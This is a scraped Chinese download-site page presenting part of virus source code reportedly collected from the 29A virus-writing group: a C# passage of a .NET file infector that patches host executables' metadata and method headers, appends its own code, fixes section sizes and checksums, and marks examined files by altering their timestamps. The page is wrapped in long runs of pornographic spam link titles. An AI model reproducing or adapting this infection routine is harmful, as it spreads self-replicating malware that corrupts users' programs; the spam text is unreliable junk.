亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? 29a-7.002

?? 從29A上收集的病毒源碼
?? 002
?? 第 1 頁 / 共 4 頁
字號:

                                                        /* fix up host token references */

                                                        /* variable 25: number of our locals */

                                                        stringsind = 0x19626772;

                                                        do
                                                        {
                                                            if (((opcode = blobnew[strbase]) == 0x1d)
                                                             || ((UInt32) (opcode - 0x0f) <= 3)
                                                               )
                                                            {
                                                                ++strbase;

                                                                if ((UInt32) (opcode - 0x11) <= 1)
                                                                {
                                                                    blobnew[strbase] += (Byte) (typerefs << 2);
                                                                }
                                                            }

                                                            ++strbase;
                                                        }
                                                        while (--stringsind != 0);

                                                        /* find first method using selected StandAloneSig */

                                                        do
                                                        {
                                                            rva = BitConverter.ToInt32(rootnew, methodoff += 0x14);
                                                            do {} while ((raw = BitConverter.ToInt32(sect, (sectsize -= 0x28) + 0x0c)) > rva);

                                                            fs.Seek((dataoff = rva - raw + BitConverter.ToInt32(sect, sectsize + 0x14)), 0); /* 0 == SeekOrigin.Begin */
                                                            fs.Read(buff, 0xa0, 0x0c); /* assuming 3 dwords for the header, but actual count is in the header (>> 0x0c, & 0x0f) */
                                                        }
                                                        while (((buff[0xa0] & 7) == 3) /* 3 == CorILMethod_FatFormat (only Fat type supports locals) */
                                                            && ((BitConverter.ToInt32(buff, 0xa8) & 0x00ffffff) != randsig)
                                                              );

                                                        /* check that host contains no exception handling information */

                                                        if ((buff[0xa0] & 8) == 0) /* 8 == CORILMETHOD_MORESECTS */
                                                        {
                                                            /* store new host method RVA */

                                                            Marshal.WriteInt32(rootnew, methodoff, (rva = BitConverter.ToInt32(buff, 4)) + (raw = BitConverter.ToInt32(buff, 8)));

                                                            /* read host method */

                                                            fs.Seek(-0x0c, SeekOrigin.Current);
                                                            baseind = BitConverter.ToInt32(buff, 0xa4) - 1;
                                                            fs.Read(rootold = new Byte[(UInt32) (baseind + 0x0c)], 0, baseind + 0x0c);

                                                            /* store new host method stack size */

                                                            /* variable 27: size of our stack */

                                                            Marshal.WriteInt16(rootold, 2, (Int16) (BitConverter.ToInt16(rootold, 2) + 0x1b626772));

                                                            /* store new host method size and StandAloneSig index */

                                                            /* variable 2: size of our code */

                                                            Marshal.WriteInt64(rootold, 4, ((Int64) (standalonesigs + 0x11000001) << 0x20) + (sectsize = baseind + 0x02626772));

                                                            /* variable 28: RVA in our code of variable 3 */

                                                            Marshal.WriteInt32(codecopy, 0x1c626772, dataoff = rva + raw + baseind + 0x0c);

                                                            /* variable 29: RVA in our code of variable 4 */

                                                            Marshal.WriteInt32(codecopy, 0x1d626772, (strbase = (dataoff + (sectcopy = sectsize - (sigoff = rootold.GetLength(0)) + 0x0c) + 3) & -4) + stroff);

                                                            /* variable 30: RVA in our code of variable 10 */

                                                            Marshal.WriteInt32(codecopy, 0x1e626772, strbase + trefoff);

                                                            /* variable 31: RVA in our code of variable 12 */

                                                            Marshal.WriteInt32(codecopy, 0x1f626772, strbase + mrefoff);

                                                            /* variable 32: RVA in our code of variable 19 */

                                                            Marshal.WriteInt32(codecopy, 0x20626772, strbase + (baseind = siglen = rootnew.GetLength(0)) + bloboff);

                                                            /* variable 33: previous host locals count */

                                                            Int32 localsdelta = standalonesigs - 0x21626772;

                                                            /* variable 34: RVA in our code of variable 33 */

                                                            Marshal.WriteInt32(codecopy, 0x22626772, standalonesigs);

                                                            /* parse our code */

                                                            mrefdelta >>= 3;
                                                            blobind = 0;

                                                            do
                                                            {
                                                                if (((opcode = codecopy[blobind++]) == 0x1f) /* ldc.i4.s */
                                                                 || ((UInt32) (opcode - 0x2b) <= 0x0c) /* bcond.s */
                                                                 || (opcode == 0xde) /* leave.s */
                                                                   )
                                                                {
                                                                    ++blobind;
                                                                }
                                                                else if ((opcode == 0x20) /* ldc.i4 */
                                                                      || (opcode == 0x22) /* ldc.r4 */
                                                                      || ((UInt32) (opcode - 0x38) <= 0x0c) /* bcond */
                                                                      || (opcode == 0xdd) /* leave */
                                                                        )
                                                                {
                                                                    blobind += 4;
                                                                }
                                                                else if ((opcode == 0x21) /* ldc.i8 */
                                                                      || (opcode == 0x23) /* ldc.r8 */
                                                                        )
                                                                {
                                                                    blobind += 8;
                                                                }
                                                                else if (((UInt32) (opcode - 0x27) <= 2) /* jmp, call */
                                                                      || ((UInt32) (opcode - 0x6f) <= 6) /* calli, callvirt, cpobj, ldobj, ldstr, newobj, castclass, isinst */
                                                                      || (opcode == 0x79) /* unbox */
                                                                      || ((UInt32) (opcode - 0x7b) <= 6) /* ldfld, ldflda, stfld, ldsfld, ldsflda, stsfld, stobj */
                                                                      || ((UInt32) (opcode - 0x8c) <= 1) /* box, newarr */
                                                                      || (opcode == 0x8f) /* ldelema */
                                                                      || (opcode == 0xc2) /* refanyval */
                                                                      || (opcode == 0xc6) /* mkrefany */
                                                                      || (opcode == 0xd0) /* ldtoken */
                                                                        )
                                                                {
                                                                    Marshal.WriteInt32(codecopy, blobind, BitConverter.ToInt32(codecopy, blobind) + mrefdelta);
                                                                    blobind += 4;
                                                                }
                                                                else if (opcode == 0x45) /* switch */
                                                                {
                                                                    blobind += (BitConverter.ToInt32(codecopy, blobind) + 1) * 4;
                                                                }
                                                                else if (opcode == 0xfe) /* prefix1 */
                                                                {
                                                                    if ((opcode = codecopy[blobind++]) == 0x12) /* unaligned */
                                                                    {
                                                                        ++blobind;
                                                                    }
                                                                    else if (((UInt32) (opcode - 0x06) <= 1) /* ldftn, ldvirtftn */
                                                                          || (opcode == 0x15) /* initobj */
                                                                          || (opcode == 0x1c) /* sizeof */
                                                                            )
                                                                    {
                                                                        Marshal.WriteInt32(codecopy, blobind, BitConverter.ToInt32(codecopy, blobind) + mrefdelta);
                                                                        blobind += 4;
                                                                    }
                                                                    else if ((UInt32) (opcode - 0x09) <= 5) /* ldarg, ldarga, starg, ldloc, ldloca, stloc */
                                                                    {
                                                                        Marshal.WriteInt16(codecopy, blobind, (Int16) (BitConverter.ToInt16(codecopy, blobind) + localsdelta));
                                                                        blobind += 2;
                                                                    }
                                                                }

                                                                /* variable 2: size of our code */
                                                            }
                                                            while (blobind != 0x02626772);

                                                            /* update host Metadata root RVA and size */

                                                            Marshal.WriteInt64(buff, 0xa0, ((Int64) (baseind += (blobind = blobnew.GetLength(0))) << 0x20) + (rva + raw + (blobtotal = (sectsize + 0x0f) & -4)));
                                                            fs.Seek(rootptroff, 0); /* 0 == SeekOrigin.Begin */
                                                            fs.Write(buff, 0xa0, 8);

                                                            /* update host last section virtual size */

                                                            Marshal.WriteInt32(buff, 0, blobtotal += raw + baseind);

                                                            /* update host last section raw size */

                                                            baseind = BitConverter.ToInt32(buff, 0x3c) - 1;
                                                            Marshal.WriteInt32(buff, 8, blobtotal = (blobtotal + baseind) & ~baseind);
                                                            fs.Seek(lastsect, 0); /* 0 == SeekOrigin.Begin */
                                                            fs.Write(buff, 0, 0x0c);

                                                            /* update host image size */

                                                            baseind = BitConverter.ToInt32(buff, 0x38) - 1;
                                                            Marshal.WriteInt32(buff, 0x50, (blobtotal + rva + baseind) & ~baseind);
                                                            raw = BitConverter.ToInt32(buff, 0x58);
                                                            Marshal.WriteInt32(buff, 0x58, 0);
                                                            fs.Seek(lfanew + 0x50, 0); /* 0 == SeekOrigin.Begin */
                                                            fs.Write(buff, 0x50, 0x0c);

                                                            /* append our data */

                                                            fs.Seek(0, SeekOrigin.End);
                                                            fs.Write(rootold, 0, sigoff);
                                                            fs.Write(codecopy, 0, sectcopy);
                                                            fs.Seek(((Int32) (fs.Seek(0, SeekOrigin.Current)) + 3) & -4, 0); /* 0 == SeekOrigin.Begin */
                                                            fs.Write(rootnew, 0, siglen);
                                                            fs.Write(blobnew, 0, blobind);
                                                            fs.SetLength(blobtotal += BitConverter.ToInt32(buff, 0x0c));

                                                            /* recalculate checksum, if required */

                                                            if (raw != 0)
                                                            {
                                                                fs.Seek(0, 0); /* 0 == SeekOrigin.Begin */
                                                                raw = 0;
                                                                baseind = blobtotal;

                                                                do
                                                                {
                                                                    fs.Read(buff, 0, 2);
                                                                    raw = (Int16) (raw) + BitConverter.ToInt16(buff, 0) + (raw >> 0x10);
                                                                }
                                                                while ((baseind -= 2) != 0);

                                                                Marshal.WriteInt32(buff, 0, blobtotal + (Int16) (raw) + (raw >> 0x10));
                                                                fs.Seek(lfanew + 0x58, 0); /* 0 == SeekOrigin.Begin */
                                                                fs.Write(buff, 0, 4);
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    }
                }

                fs.Close();

                /* mark every file that was examined, even if not infected
                   last write time is used because is kept on file copy
                */

                File.SetLastWriteTime(filename, lastwrite.AddSeconds(-lastwrite.Second));
                File.SetAttributes(filename, attr);
            }
        }
    }
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
一区二区三区免费| 日韩理论片中文av| 国产一区二区三区| 国产日韩欧美精品在线| 成人激情校园春色| 一区二区三区在线观看国产| 欧美精品日韩精品| 国产精品99精品久久免费| 国产精品情趣视频| 91福利国产成人精品照片| 日精品一区二区三区| 26uuu久久天堂性欧美| jiyouzz国产精品久久| 亚洲第一主播视频| 亚洲精品在线一区二区| av亚洲精华国产精华精| 丝袜美腿一区二区三区| 久久久亚洲精华液精华液精华液| 欧美视频在线观看一区二区| 三级精品在线观看| 国产精品国产馆在线真实露脸| 色综合久久中文字幕综合网 | 日本韩国欧美一区| 丝袜美腿亚洲色图| 国产欧美精品区一区二区三区| 色又黄又爽网站www久久| 日韩精品一二三区| 亚洲福利视频一区| 久久精品网站免费观看| 欧美亚洲一区二区在线| 国产精品1024| 日韩高清一区在线| 中文字幕日本乱码精品影院| 欧美精品xxxxbbbb| 成人午夜视频在线观看| 青青草国产精品亚洲专区无| 亚洲少妇最新在线视频| 精品黑人一区二区三区久久| 欧美自拍丝袜亚洲| 国产精品18久久久久久久久| 日韩专区中文字幕一区二区| 国产精品天干天干在线综合| 91精品国产品国语在线不卡| 色婷婷激情一区二区三区| 精品亚洲免费视频| 视频一区国产视频| 亚洲精品乱码久久久久久日本蜜臀| 久久久久亚洲综合| 欧美一区二区观看视频| 欧美最猛黑人xxxxx猛交| 成人免费观看av| 国产一区二区h| 免费视频最近日韩| 天天色天天爱天天射综合| 亚洲乱码国产乱码精品精98午夜 | 精品av综合导航| 在线播放欧美女士性生活| 色综合天天天天做夜夜夜夜做| 国产v日产∨综合v精品视频| 韩国在线一区二区| 久久精品国产99国产精品| 午夜精品久久久久久久久久久| 综合激情网...| 国产精品你懂的| 日本一区二区三区高清不卡| 久久综合九色综合欧美98| 欧美电影免费观看高清完整版在| 欧美男生操女生| 67194成人在线观看| 欧美高清视频在线高清观看mv色露露十八 | 国产一区二区三区综合| 日本va欧美va精品| 麻豆精品视频在线| 久久国产精品区| 精品亚洲国产成人av制服丝袜| 麻豆精品视频在线观看视频| 九色porny丨国产精品| 99视频有精品| www.欧美.com| 91久久精品一区二区三| 欧美最新大片在线看| 欧美高清www午色夜在线视频| 欧美人伦禁忌dvd放荡欲情| 欧美美女黄视频| 欧美v亚洲v综合ⅴ国产v| 久久伊人中文字幕| 国产精品久久久久毛片软件| 亚洲视频综合在线| 亚洲国产aⅴ成人精品无吗| 日韩精品免费视频人成| 久久99热国产| 成人性生交大片免费| 91啪亚洲精品| 欧美日韩中文字幕精品| 欧美一级黄色大片| 久久久国产精华| 亚洲天堂中文字幕| 视频一区在线播放| 精品亚洲porn| heyzo一本久久综合| 91久久久免费一区二区| 日韩欧美国产精品一区| 亚洲国产精品精华液ab| 亚洲第一主播视频| 国产精品一区专区| 91视频免费看| 欧美一区二区视频在线观看2020 | 91麻豆精品国产91久久久使用方法| 91精品国产综合久久久久久漫画| 精品99一区二区三区| 亚洲人一二三区| 亚洲成av人在线观看| 狠狠色狠狠色综合系列| 色一情一伦一子一伦一区| 欧美一区二区日韩一区二区| 国产三级精品在线| 亚洲午夜影视影院在线观看| 国产一区二区中文字幕| 欧美综合亚洲图片综合区| 欧美大片在线观看一区| 亚洲精品中文字幕在线观看| 免费观看成人鲁鲁鲁鲁鲁视频| 成人一区在线看| 欧美日韩国产首页在线观看| 国产欧美日韩精品一区| 午夜激情久久久| 97久久超碰精品国产| 欧美电影免费观看高清完整版在线 | 日韩高清一区二区| 99久久精品国产网站| 日韩一区二区三区在线观看| 国产精品成人一区二区三区夜夜夜| 日韩av一区二区三区四区| 成av人片一区二区| xfplay精品久久| 日韩精品亚洲一区二区三区免费| 北条麻妃一区二区三区| 精品国产一区二区三区久久久蜜月| 一区二区三区蜜桃网| 成人免费观看av| 久久久国产午夜精品| 美女网站色91| 欧美精品在线观看一区二区| 亚洲日本韩国一区| 成人午夜视频免费看| 亚洲精品一区在线观看| 日日欢夜夜爽一区| 欧美日韩在线免费视频| 亚洲女同一区二区| 成人性生交大片免费看中文 | 亚洲国产精品v| 国产精品亚洲第一| 26uuu精品一区二区| 青青青爽久久午夜综合久久午夜| 色婷婷综合激情| 亚洲男帅同性gay1069| 91视频com| 亚洲欧洲精品成人久久奇米网| 国产乱子轮精品视频| 欧美成人精品福利| 久久99精品国产麻豆婷婷| 欧美一区二区福利视频| 美美哒免费高清在线观看视频一区二区 | 欧美日韩欧美一区二区| 韩国理伦片一区二区三区在线播放| 欧美亚洲国产一区在线观看网站| 一区二区在线免费观看| 97精品国产97久久久久久久久久久久 | 粉嫩av一区二区三区| 国产区在线观看成人精品 | 欧美mv日韩mv国产网站app| 久久精品国产精品亚洲精品| 欧美电影免费观看高清完整版 | 亚洲电影视频在线| 欧美喷潮久久久xxxxx| 奇米色777欧美一区二区| 日韩一级在线观看| 国产精品一线二线三线| 中文av一区二区| 一本久久a久久精品亚洲| 亚洲精品国产第一综合99久久| 色成年激情久久综合| 一区二区成人在线观看| 欧美老肥妇做.爰bbww视频| 青椒成人免费视频| 久久色视频免费观看| 懂色av一区二区夜夜嗨| 一区二区三区视频在线看| 欧美人xxxx| 国产盗摄精品一区二区三区在线| 国产精品久久久久婷婷二区次| 色综合久久中文字幕综合网| 午夜精品一区在线观看| 2023国产精品视频| 一本一本久久a久久精品综合麻豆| 亚洲电影一级黄| 久久精品男人天堂av| 欧美三级在线视频| 美女在线一区二区| 亚洲欧洲精品一区二区三区不卡|